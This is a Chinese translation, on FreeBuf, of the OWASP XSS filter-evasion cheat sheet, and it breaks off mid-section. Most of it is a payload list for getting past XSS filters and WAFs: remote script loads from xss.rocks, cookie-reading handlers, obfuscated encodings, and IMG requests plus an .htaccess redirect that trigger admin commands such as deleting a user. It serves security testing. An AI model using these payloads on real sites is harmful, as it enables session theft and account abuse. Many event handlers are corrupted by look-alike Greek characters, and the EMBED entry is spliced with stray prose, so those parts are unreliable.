freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何绕过XSS防护
2020-07-30 19:31:02

本文旨在为应用程序安全测试专业人​​员提供指南,以协助进行跨站点脚本测试。源自于OWASP跨站脚本预防备忘单。本文列出了一系列XSS攻击,可用于绕过某些XSS防御filter。针对输入进行过滤是不完全是XSS的防御方法,可以使用这些payload来测试网站在防护XSS攻击方面的能力,希望你的WAF产品能拦截下面所有的payload。

The OWASP® Foundation works to improve the security of software through its community-led open source software projects, hundreds of chapters worldwide, tens of thousands of members, and by hosting local and global conferences.

正文

XSS攻击原理:
攻击者向有XSS漏洞的网站中置入精心构造恶意的HTML代码,当用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
XSS攻击可以分成两种类型:一种是非持久型XSS攻击 一种是持久型XSS攻击。
反射型:请求地址上加入恶心的HTML代码。
dom型:api向网站注入一些恶意的HTML代码
持久性:攻击者把恶意代码提交到后台数据库中,当用户下次打开的时候就会从后台接收这些恶意的代码。
防范:
    前端通过转义来进行防范和过滤
    后端主要是通过WAF正则+OWASP规则+XSS语义分析+机器学习payload特征进行防卫。

 

普通的XSS JavaScript注入:

很可能会被过滤,建议先尝试一下(现代浏览器中都不需要引号,因此此处将其省略)

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

 

XSS有效负载,该测试将在多个上下文中执行,包括html,脚本字符串,js和url:

javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>

 

使用JavaScript指令的IMG SRC XSS,注: IE7.0在图像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:

<IMG SRC="javascript:alert('XSS');">

 

没有引号也没分号情况:

<IMG SRC=javascript:alert('XSS')>

 

大小写混淆的 XSS攻击payload:

<IMG SRC=JaVaScRiPt:alert('XSS')>

 

HTML实体,必须使用分号:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

 

同时使用双引号和单引号,则可以使用重音符来封装JavaScript字符串,因为许多跨站点脚本过滤器都不知道重音符:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

 

畸形的a标签,跳过HREF属性:

<a οnmοuseοver="alert(document.cookie)">xxs link</a>

 

Chrome浏览器喜欢为替换丢失的引号,Chrome会将其放在正确的位置,并在URL或脚本上修复丢失的引号。

<a οnmοuseοver=alert(document.cookie)>xxs link</a>

 

格式错误的IMG标签,封装在引号中的IMG标签内创建我们的XSS矢量,为了纠正草率的编码。这将使正确解析HTML标记变得更加困难:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

 

fromCharCode源字符码,不允许任何类型的引号,可以在JavaScript中eval()a fromCharCode来创建所需的XSS向量:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

 

默认SRC标记可获取过去检查SRC域名的filter,这将绕过大多数SRC域过滤器。在事件方法中插入javascript还将适用于任何使用Form,Iframe,Input,Embed等元素的HTML标记类型注入。这还将允许您将标记类型的任何相关事件替换为onbluronclick从而为您提供大量的这里列出的许多注射的变化:

<IMG SRC=# οnmοuseοver="alert('xxs')">

 

保留默认的SRC标签为空:

<IMG SRC= οnmοuseοver="alert('xxs')">

 

Default SRC tag by leaving it out entirely,完全忽略src:

<IMG οnmοuseοver="alert('xxs')">

 

错误提示 onerror alert:

<IMG SRC=/ οnerrοr="alert(String.fromCharCode(88,83,83))"></img>

 

 

IMG onerror and javascript alert 编码:

<img src=x οnerrοr="javascript:alert('XSS')">

 

Decimal HTML character references,十进制字符引用,在<IMG标记内使用javascript:指令的所有XSS示例都无法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中运行):

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

 

十进制html字符引用,without trailing semicolons,同上+没有尾随分号,这在尝试查找“&#XX;”的XSS中通常很有效,因为大多数人都不了解填充-总共最多7个数字字符。这对于使用$ tmp_string =〜s /.*\&#(\ d +);。* / $ 1 /;等字符串进行解码的人也很有用。这错误地假设需要使用分号来终止html编码的字符串:

<IMG SRC=javascript:alert('XSS')>

 

十六进制html字符引用,without trailing semicolons,不带尾部分号:

<IMG SRC=javascript:alert('XSS')>

 

嵌入标签,用于破坏跨站点脚本攻击:

<IMG SRC="jav ascript:alert('XSS');">

 

嵌入编码标签,用于分解XSS:

<IMG SRC="jav&#x09;ascript:alert('XSS');">

 

嵌入换行分解XSS:

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details

 

嵌入carriage返回分解 XSS:

\x0D是十六进制,也就是13所对就在的ASCII码字符,也就是回车符

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

 

null分解js指令,但是空字符%00更有用,它帮助我绕过了某些现实世界的过滤器:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

 

XSS图像中JavaScript之前的空格和元字符:

错误地假设引号和“javascript:”关键字之间不能有空格,则这非常有用。实际情况是,您可以使用小数点后1-32之间的任何字符

<IMG SRC=" &#14; javascript:alert('XSS');">

 

非字母非数字XSS:

Firefox HTML解析器假设非alpha非数字在HTML关键字后无效,认为它是HTML标记后的空白或无效标记。

一些XSS过滤器假定它们要查找的标记被空白分隔开。例如“<SCRIPT\s”!=“<SCRIPT/XSS\s”。

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

Gecko呈现引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)以外的任何字符,从而更容易绕过跨站点脚本块。

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

 

多余的开放括号:

某些检测引擎使用成对的开闭尖括号,然后对标签进行比较,

双斜线注释了结束的无关括号,以抑制JavaScript错误。

<<SCRIPT>alert("XSS");//<</SCRIPT>

 

没有结束脚本tag:

在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您实际上不需要这个跨站点脚本向量的“></SCRIPT>”部分。

Firefox assumes it's safe to close the HTML tag and add closing tags for you。

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

 

js tag中的协议解析:

如果在末尾添加</SCRIPT>标记,Opera中工作,Netscape在IE呈现模式下工作,,

<SCRIPT SRC=//xss.rocks/.j>

 

半开HTML/JavaScript xss:

与Firefox不同,IE渲染引擎不向页面添加额外数据,但它允许在图像中使用javascript:指令。

它不需要闭合尖括号,假设下面有任何HTML标记,您将在其中注入此跨站点脚本向量。即使没有关闭“>”标签,下面的标签也会关闭它。

<IMG SRC="javascript:alert('XSS')"

 

Double open angle brackets双开角括号:

在矢末尾使用开放尖括号。

如果没有它,Firefox将工作,但Netscape不会。

<iframe src=http://xss.rocks/scriptlet.html <

 

转义JavaScript转义:

在JavaScript中输出一些用户信息,如:<SCRIPT>var a=“$ENV{QUERY_STRING}”;</SCRIPT>

将自己的JavaScript注入其中,但是服务器端应用程序会转义某些引号,您可以通过转义它们的转义字符来绕过这些引号。

当它被注入时,它将读取<SCRIPT>var a=“\\”;alert('XSS');//“;</SCRIPT>,最后将取消对双引号的转义,并导致跨站点脚本向量触发。

\";alert('XSS');//

如果对嵌入的数据应用了正确的JSON或Javascript转义,而不是HTML编码,则完成脚本块并启动。

</script><script>alert('XSS');</script>

 

结束标签tag:

关闭<TITLE>标记的简单XSS向量,可以封装恶意跨站点脚本攻击。

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

 

INPUT image:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image:

<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc:

<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc:

<IMG LOWSRC="javascript:alert('XSS')">

 

List-style-image:

处理为项目符号列表嵌入图像的相当深奥的问题,这只适用于IE呈现引擎。不是一个特别有用的跨站点脚本。

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

 

VBscript in an image:

<IMG SRC='vbscript:msgbox("XSS")'>

 

Livescript(仅限旧版本的Netscape):

<IMG SRC="livescript:[code]">

 

SVG对象标记:

<svg/οnlοad=alert('XSS')>

 

SVG object tag:

<svg/οnlοad=alert('XSS')>

 

ECMAScript 6:

Set.constructor`alert\x28document.domain\x29```

 

BODY tag:

不需要使用“javascript:”或“<SCRIPT…”的任何变体来完成XSS攻击,

可以在等号前加一个空格(“οnlοad=”!=“οnlοad=”)。

<BODY ONLOAD=alert('XSS')>

 

事件句柄:

FSCommand() (攻击者可以在嵌入式Flash对象中执行此操作)

onAbort() (当用户中止加载图像时)

onActivate() (当对象设置为活动元素时)

onAfterPrint() (在用户打印或预览打印作业后激活)

onAfterUpdate() (更新源对象中的数据后在数据对象上激活)

onBeforeActivate() (在对象设置为活动元素之前激发)

onBeforeCopy() (攻击者在将选定内容复制到剪贴板之前执行攻击字符串-攻击者可以使用execCommand(“Copy”)函数执行此操作)

onBeforeCut() (攻击者在剪切选定内容之前执行攻击字符串)

onBeforeDeactivate() (从当前对象更改activeElement后立即激发)

onBeforeEditFocus() (在可编辑元素中包含的对象进入UI激活状态之前,或在选中可编辑容器对象时激发)

onBeforePaste() (需要诱使用户粘贴或使用execCommand(“粘贴”)函数强制用户粘贴)

onBeforePrint() (需要诱使用户进行打印,否则攻击者可以使用print()或execCommand(“print”)函数).

onBeforeUnload() (需要诱使用户关闭浏览器-攻击者无法卸载windows,除非它是从父级派生的)

onBeforeUpdate() (在更新源对象中的数据之前在数据对象上激活)

onBegin() (onbegin事件在元素的时间线开始时立即激发)

onBlur() (如果加载了另一个弹出窗口and window looses focus)

onBounce() (当选取框对象的behavior属性设置为“alternate”并且选取框的内容到达窗口的一侧时激发)

onCellChange() (当数据提供程序中的数据更改时触发)

onChange() (“选择”、“文本”或“文本区域”字段失去focus,其值已被修改)

onClick() (有人点击表单)

onContextMenu() (用户需要鼠标右击攻击区域)

onControlSelect() (当用户要对对象进行控件选择时触发)

onCopy() (用户需要复制某些内容,或者可以使用execCommand(“copy”)命令利用它)

onCut() (用户需要复制某些内容,或者可以使用execCommand(“Cut”)命令利用它)

onDataAvailable() (用户需要更改元素中的数据,否则攻击者可以执行相同的功能)

onDataSetChanged() (当数据源对象公开的数据集更改时触发)

onDataSetComplete() (触发以指示数据源对象中的所有数据都可用)

onDblClick() (用户双击表单元素或链接)

onDeactivate() (当activeElement从当前对象更改为父文档中的另一个对象时激发)

onDrag() (要求用户拖动对象)

onDragEnd() (要求用户拖动对象)

onDragLeave() (要求用户将对象拖离有效位置)

onDragEnter() (要求用户将对象拖到有效位置)

onDragOver() (要求用户将对象拖到有效位置)

onDragDrop() (用户将对象(如文件)放到浏览器窗口中)

onDragStart() (在用户启动拖动操作时发生)

onDrop() (用户将对象(如文件)放到浏览器窗口中)

onEnd() (当时间线结束时,onEnd事件将触发)

onError() (加载文档或图像会导致错误)

onErrorUpdate() (当更新数据源对象中的关联数据时出错时,对数据绑定对象触发)

onFilterChange() (在视觉筛选器完成状态更改时触发)

onFinish() (当选取框完成循环时,攻击者可以创建攻击)

onFocus() (当窗口获得焦点时,攻击者执行攻击字符串)

onFocusIn() (当窗口获得焦点时,攻击者执行攻击字符串)

onFocusOut() (当窗口失去焦点时,攻击者执行攻击字符串)

onHashChange() (当文档当前地址的片段标识符部分更改时触发)

onHelp() (当用户在窗口处于焦点时点击F1时,攻击者执行攻击字符串)

onInput() (元素的文本内容通过用户界面更改)

onKeyDown() (用户按下键触发)

onKeyPress() (用户按下或按住键)

onKeyUp() (用户松开按键)

onLayoutComplete() (用户必须打印或打印预览)

onLoad() (攻击者在窗口加载后执行攻击字符串)

onLoseCapture() (可被releaseCapture()方法利用)

onMediaComplete() (当使用流媒体文件时,此事件可能在文件开始播放之前触发)

onMediaError() (用户在浏览器中打开包含媒体文件的页面,当出现问题时触发事件)

onMessage() (当文档收到消息时触发)

onMouseDown() (攻击者需要让用户单击图像)

onMouseEnter() (光标在对象或区域上移动)

onMouseLeave() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)

onMouseMove() (攻击者需要让用户将鼠标移到图像或表上)

onMouseOut() (攻击者需要让用户将鼠标移到图像或表上,然后再次关闭)

onMouseOver() (光标在对象或区域上移动)

onMouseUp() (攻击者需要让用户单击图像)

onMouseWheel() (攻击者需要让用户使用鼠标滚轮)

onMove() (用户或攻击者会移动页面)

onMoveEnd() (用户或攻击者会移动页面)

onMoveStart() (用户或攻击者会移动页面)

onOffline() (如果浏览器在联机模式下工作并且开始脱机工作,则发生)

onOnline() (如果浏览器在脱机模式下工作并且开始联机工作,则发生)

onOutOfSync() (中断元素播放时间线定义的媒体的能力)

onPaste() (用户需要粘贴或攻击者可以使用execCommand(“粘贴”)函数)

onPause() (当时间线暂停时,onpause事件将对每个活动的元素(包括body元素)触发)

onPopState() (当用户导航会话历史记录时激发)

onProgress() (攻击者会将此用作正在加载的flash电影)

onPropertyChange() (用户或攻击者需要更改元素属性)

onReadyStateChange() (用户或攻击者需要更改元素属性)

onRedo() (用户在撤消事务历史记录中前进)

onRepeat() (事件在时间线的每次重复中触发一次,第一个完整周期除外)

onReset() (用户或攻击者重置窗体)

onResize() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化:<SCRIPT>self.resizeTo(500400);</SCRIPT>)

onResizeEnd() (用户将调整窗口大小;攻击者可以使用以下内容自动初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResizeStart() (用户将调整窗口大小;攻击者可以使用以下命令自动初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResume() (onresume事件对时间线恢复时变为活动的每个元素(包括body元素)触发)

onReverse() (如果元素的repeatCount大于1,则每次时间线开始向后播放时都会触发此事件)

onRowsEnter() (用户或攻击者需要更改数据源中的行)

onRowExit() (用户或攻击者需要更改数据源中的行)

onRowDelete() (用户或攻击者需要删除数据源中的行)

onRowInserted() (用户或攻击者需要在数据源中插入一行)

onScroll() (用户需要滚动,否则攻击者可以使用scrollBy()函数)

onSeek() (onreverse事件在时间线设置为沿除forward以外的任何方向播放时触发)

onSelect() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

onSelectionChange() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

onSelectStart() (用户需要选择一些文本-攻击者可以使用以下命令自动初始化: window.document.execCommand("SelectAll");)

onStart() (在每个选框循环的开始处激发)

onStop() (用户需要按下停止按钮或离开网页)

onStorage() (存储区域已更改)

onSyncRestored() (用户中断元素的播放时间线定义的媒体的能力)

onSubmit() (需要攻击者或用户提交表单)

onTimeError() (用户或攻击者将时间属性(如dur)设置为无效值)

onTrackChange() (用户或攻击者更改播放列表中的playlist)

onUndo() (用户在撤消事务历史记录中返回)

onUnload() (当用户单击任何链接或按下后退按钮时,攻击者会强制单击)

onURLFlip() (当由HTML+TIME(定时交互式多媒体扩展)媒体标记播放的高级流式格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,会触发此事件)

seekSegmentTime() (这是一个在元素的段时间线上定位指定点并从该点开始播放的方法。该段由一个重复的时间线组成,包括使用AUTOREVERSE属性的反向播放。)

 

BGSOUND:

<BGSOUND SRC="javascript:alert('XSS');">

 

& JavaScript includes:

<BR SIZE="&{alert('XSS')}">

 

STYLE sheet:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

 

远程样式表Remote style sheet:

使用像远程样式表这样简单的东西,您可以包括XSS,因为可以使用嵌入式表达式重新定义样式参数。)

这仅在IE和Netscape 8.1+的IE渲染引擎模式下有效。

注意:对于所有这些远程样式表示例,它们都使用body标记,因此除非页面上有向量本身以外的其他内容,否则无法工作。

因此,如果页面是空白页面,则需要向该页面添加一个字母使其工作

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

 

远程样式表Remote style sheet2:

工作原理与上述相同,但使用<STYLE>标记而不是<LINK>标记)。

这个向量的一个微小变化被用来攻击谷歌桌面。另外,如果在向量之后立即有HTML来关闭end</STYLE>标记,则可以将其删除。

如果在跨站点脚本攻击中不能有等号或斜线(在现实世界中至少出现过一次),则这非常有用.

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

 

远程样式表Remote style sheet3:

这只适用于Opera8.0(不再适用于9.x),但相当棘手。根据RFC2616设置,链接头不是HTTP1.1规范的一部分,但是一些浏览器仍然允许它(比如Firefox和Opera)。

这里的诀窍是,我设置了一个头(基本上与HTTP头中的Link:<HTTP://xss.rocks/xss.css>;REL=style sheet没什么不同),

而带有跨站点脚本向量的远程样式表正在运行JavaScript,这在FireFox中是不受支持的。

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

 

远程样式表Remote style sheet4:

这只适用于Gecko渲染引擎,并通过将XUL文件绑定到父页面来工作。我认为讽刺的是,Netscape认为Gecko更安全,因此对绝大多数网站来说都很脆弱。

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

 

带有用于XSS的分解JavaScript的STYLE标记STYLE tags with broken up JavaScript for XSS:

此XSS有时会将IE发送到无限循环的警报中。

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE attribute using a comment to break up expression使用注释拆分表达式的STYLE属性:

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

 

带表达式的IMG样式:

这实际上是上述XSS向量的混合,但它确实显示了分离样式标记的难度,就像上面所说的,这可以将IE发送到循环中。

exp/*<A STYLE='no\xss:noxss("*//*");

xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE tag (Older versions of Netscape only):

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

 

STYLE tag using background-image:

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

 

STYLE tag using background:

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

 

具有STYLE属性的匿名HTMLAnonymous HTML with STYLE attribute:

IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正关心你构建的HTML标签是否存在,只要它从一个打开的角度括号和一个字母开始.

<XSS STYLE="xss:expression(alert('XSS'))">

 

Local htc file本地htc文件:

这与上面两个跨站点脚本向量略有不同,因为它使用的.htc文件必须与XSS向量位于同一服务器上。

示例文件的工作方式是:拉入JavaScript并将其作为style属性的一部分运行.

<XSS STYLE="behavior: url(xss.htc);">

 

US-ASCII encoding:

它使用格式错误的ASCII编码,使用7位而不是8位。此XSS可以绕过许多内容过滤器,

但仅在主机使用US-ASCII编码传输或您自己设置编码时才起作用。

这对于web应用程序防火墙跨站点脚本规避比服务器端筛选器规避更有用。

Apache Tomcat是唯一已知的以US-ASCII编码传输的服务器。

¼script¾alert(¢XSS¢)¼/script¾

 

META:

meta-refresh的奇怪之处在于它没有在头中发送referer,因此它可以用于某些类型的攻击,在这些攻击中,您需要删除引用的url。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data:

指令URL方案。这很好,因为它也没有任何明显包含脚本或JavaScript指令的东西,因为它使用base64编码。

请参阅RFC2397了解更多详细信息,或在这里或这里编码您自己的。如果您只想对原始HTML或JavaScript进行编码,

也可以使用下面的XSS计算器,因为它具有Base64编码方法。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

META with additional URL parameter:

如果目标网站试图查看URL开头是否包含“http://”。

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

 

IFRAME:

If iframes are allowed there are a lot of other XSS problems as well。

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME Event based:

IFrames和大多数其他元素可以使用基于事件的mayhem,如下所示。。。

<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>

FRAME:

Frames have the same sorts of XSS problems as iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

TABLE:

<TABLE BACKGROUND="javascript:alert('XSS')">

TD:

正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻击。

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

 

DIV:

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

DIV background-image with unicoded XSS exploit:

这已经被稍微修改,以混淆url参数。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

DIV background-image plus extra characters额外字符:

在IE和Netscape 8.1中的安全站点模式下,在开括号之后、JavaScript指令之前允许的任何错误字符。这些是十进制的,但是当然可以包括十六进制和添加填充。

可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

DIV expression:

这种方法的一个变体对现实世界中使用冒号和“表达式”之间的换行符的跨站点脚本过滤器是有效的.

<DIV STYLE="width: expression(alert('XSS'));">

Downlevel-Hidden block:

仅适用于IE5.0及更高版本,Netscape 8.1适用于IE渲染引擎模式)。有些网站认为评论块中的任何内容都是安全的,因此不需要删除,这就允许我们使用跨站点脚本。

或者系统可以在某些东西周围添加注释标记,试图使其无害化。如我们所见,这可能不起作用.

<!--[if gte IE 4]>

<SCRIPT>alert('XSS');</SCRIPT>

<![endif]-->

 

BASE tag:

在IE和Netscape 8.1中以安全模式工作。您需要//来注释掉下一个字符,这样就不会出现JavaScript错误,XSS标记将呈现。

此外,这依赖于网站使用动态放置的图像,如“images/image.jpg”,而不是完整路径。

如果路径包含一个前导正斜杠,如“/images/image.jpg”,则可以从该向量中删除一个斜杠(只要有两个斜杠开始注释,则此操作有效)

<BASE HREF="javascript:alert('XSS');//">

OBJECT tag:

如果它们允许对象,您还可以注入病毒有效负载以感染用户等,与APPLET标记相同)。链接文件实际上是一个HTML文件,可以包含您的XSS.

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

使用嵌入标记可以嵌入包含xss的Flash电影:

单击此处进行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”属性,则可以降低此风险.

EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

org/xss.swf" AllowScriptAccess="always"></EMBED>

 

You can EMBED SVG which can contain your XSS vector:

这个例子只适用于Firefox,但它比Firefox中的上述向量要好,因为它不需要用户打开或安装Flash。

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm0yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

 

在flash中使用ActionScript会混淆XSS向量:

a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

带有CDATA混淆的XML数据:

此XSS攻击仅在IE渲染引擎模式下的IE和Netscape 8.1中有效.

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

使用XML数据岛生成的嵌入JavaScript的本地托管XML:

这与上面的相同,但引用的是包含跨站点脚本向量的本地托管(必须位于同一服务器上)XML文件。

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

 

HTML+TIME in XML:

这只适用于IE呈现引擎模式下的Internet Explorer和Netscape 8.1,请记住,您需要介于HTML和正文标记之间才能工作.

<HTML><BODY>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

 

假设您只能容纳几个字符,并且它会过滤“.js”:

您可以将JavaScript文件重命名为图像作为XSS向量.

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

 

SSI (Server Side Includes):

这需要在服务器上安装SSI才能使用此XSS向量。我可能不需要提及这一点,但如果您可以在服务器上运行命令,无疑会出现更严重的问题.

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->

 

PHP:

需要在服务器上安装PHP才能使用此XSS向量。同样,如果你能像这样远程运行任何脚本,可能会有更可怕的问题.

<? echo('<SCR)';

echo('IPT>alert("XSS")</SCRIPT>'); ?>

 

IMG Embedded commands:

当插入此内容的网页(如网页板)位于密码保护之后,并且密码保护与同一域上的其他命令一起工作时,此操作有效。

这可用于删除用户、添加用户(如果访问该页的用户是管理员)、将凭据发送到其他位置等。。。。这是使用较少但更有用的XSS向量之一.

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

IMG Embedded commands part II:

这更可怕,因为除了它不在您自己的域中之外,没有任何标识使它看起来可疑。

向量使用302或304(其他也可以)将图像重定向回命令。

因此,一个普通的<IMG SRC=“httx://badguy.com/a.jpg”>实际上可能是一个攻击向量,作为查看图像链接的用户运行命令。

下面是.htaccess(在Apache下)行来完成向量.

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

 

Cookie 篡改:

不可否认,这是相当模糊的,但我看到了几个例子,其中<META是允许的,您可以使用它覆盖cookies。

还有其他一些站点的例子,其中存储在cookie中的用户名不是从数据库中获取的,而是只显示给访问页面的用户。

结合这两个场景,您可以修改受害者的cookie,该cookie将以JavaScript的形式显示给他们

(您还可以使用它来注销或更改他们的用户状态,让他们以您的身份登录,等等)。

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

 

UTF-7 encoding:

如果XSS所在的页面没有提供页面字符集头,或者任何设置为UTF-7编码的浏览器都可以使用以下内容。

单击此处获取示例(如果用户的浏览器设置为“自动检测”,并且在Internet Explorer和IE呈现引擎模式下的Netscape 8.1中没有覆盖页面上的内容类型,则不需要charset语句)。

这在任何现代浏览器中都无法工作,除非更改编码类型,这就是为什么将其标记为完全不受支持的原因。Watchfire在Google的自定义404脚本中发现了这个漏洞

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

 

使用HTML引号封装的XSS:

这是IE测试的,你的里程数可能会有所不同。对于允许“<SCRIPT>”但不允许“<SCRIPT SRC…”通过regex过滤器“/<SCRIPT[^>]+SRC/i”的站点执行XSS。

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

用于在允许“<SCRIPT>”但不允许“<SCRIPT src…”的站点上

通过regex过滤器“/<SCRIPT”((\s+\w+(\s*=\s*)(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

还有另一个xs要避开同一个过滤器,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“。

我知道我说过我不打算讨论缓解技术,但是如果您仍然希望允许<SCRIPT>标记,而不是远程脚本,

那么对于这个XSS示例,我看到的唯一有用的东西是一个状态机(当然,如果允许<SCRIPT>标记,还有其他方法可以绕过这个问题).

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

最后一次XSS攻击是为了躲避,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“使用重音符(同样,在Firefox中不起作用).

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>

下面是一个XSS示例,它打赌regex不会捕获匹配的一对引号,而是会找到任何引号来不正确地终止参数字符串.

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

这个XSS仍然让我担心,因为如果不阻止所有活动内容,几乎不可能停止它.

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

 

URL字符串规避类:

假设“http://www.google.com/”在语法上是不允许的.

IP versus hostname:

<A HREF="http://66.102.7.147/">XSS</A>

URL encoding

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

Dword encoding:

注意:还有其他的Dword编码变体-请参阅下面的IP混淆计算器以了解更多详细信息.

<A HREF="http://1113982867/">XSS</A>

 

Hex encoding十六进制:

允许的每个数字的总大小大约为240个字符,如您在第二个数字上看到的,并且由于十六进制数字介于0和F之间,因此不需要在第三个十六进制引号上的前导零).

